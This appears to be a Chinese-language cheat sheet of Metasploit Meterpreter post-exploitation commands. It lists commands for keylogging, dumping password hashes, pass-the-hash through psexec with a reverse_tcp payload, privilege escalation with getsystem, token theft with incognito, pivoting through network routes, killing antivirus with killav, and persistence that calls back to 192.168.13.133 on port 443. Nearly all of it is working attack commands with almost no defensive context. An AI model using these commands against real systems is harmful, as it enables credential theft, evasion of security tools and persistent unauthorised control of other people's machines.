meterpreter基本命令
screenshot :截屏,获取用户的桌面截屏
sysinfo:获取系统运行的平台
ps:获得目标系统正在运行的进程
migrate 进程号:将会话迁移到进程里面
run post/windows/capture/keylog_recorder:在进程空间下启用这个模块,获取键盘记录
除了使用键盘记录来记录登陆名和用户密码之外,还可以使用命令来获取密码哈希值
use priv:意味着运行在特权账户上
run post/windows/gather/hashdump:获取所有用户名和密码哈希值
如果我们取得了管理员用户名和密码哈希值,但我们不可能在可接受时间内将明文密码破解出来,可以采用哈希值传递技术
use windows/smb/psexec
set payloads windows/meterpreter/reverse_tcp
set LHOST
set LPORT
set RHOST
set SMBPass 哈希值
exploit
可以看出我们仅仅使用哈希值就可以获得管理员权限
权限提升
use priv:加载priv扩展,以便访问某些特权模块
getsystem:尝试将权限提升到本地系统权限或者是管理员权限
getuid:检查获取的权限等级
rev2setf:切回会话中的初始用户账号
令牌假冒:获取目标系统中的一个Kerberos令牌,将其用在身份认证环节,来假冒当初创建这个令牌的用户。令牌假冒是meterpreter最强大的功能之一,对渗透测试非常有帮助,这可能也是获取系统访问的最简便方法。
在meterpreter会话中
PS命令列举当前运行的应用程序以及运行这些应用的用户账号
steal_token PID参数(即应用程序前面的号码)
这时就已经假冒了域管理员账号,并以域管理员用户来运行
有些时候ps命令不能列出域管理员运行的进程,还可以使用incognito列出系统上可以使用的令牌
use incognito 加载模块
list_token -u:列举出令牌
Impersonate_token 要模仿的令牌(中间的斜杆要换成两个)
通过跳板攻击其他机器
run get_local_subnets:展示受控系统本地子网
background:将攻击会话放到后台运行
route add get_.....命令中的路由(192.168.1.0 255.255.255.0) 要使用的攻击会话号(1) :在MSF终端中执行添加路由命令,告知系统将远程网络ID通过攻击会话1来进行路由
route print:显示当前活跃的路由设置
接下来进行二次渗透攻击
注:scanner/portscan/tcp,可以使用他通过跳板机器,对目标子网进行大范围的端口扫描
在上面使用了route add添加了路由 也可以使用自动化工具load auto_add_route
load auto_add_route
exploit
使用meterpreter脚本
run 脚本名字
比如 run vnc:得到目标主机的vnc图形界面接口,允许直接操作远程桌面
run screen_unlock:对目标机器上的桌面进行远程解锁
迁移进程
run post/windows/manage/migrate
关闭杀毒进程
run killav
获取系统密码哈希值(帮助我们实施哈希值传递攻击或者是进行哈希值暴力破解还原明文密码
run hashdump
查看目标机上的所有流量
run packetrecorder -i -1
可以帮助被wireshark等工具解析
获取系统信息
run scraper
控制持久化
确保系统重启后meterpreter还能运行
如:运行persistence脚本让系统开机自启动meterpreter(-X),50秒(-i 50)重连一次使用的端口为443(-p 443) 连接的目的ip 192.168.13.133
run persistence -X -i 50 -p 443 -r 192.168.13.133
use multi/handler 进行监听
将命令行shell 升级为 meterprete
使用 sessions -u 命令将命令行shell 升级为 meterprete
注意在攻击系统时 可以使用exploit -z命令:允许在成功攻击目标后暂时不采用控制会话进行交互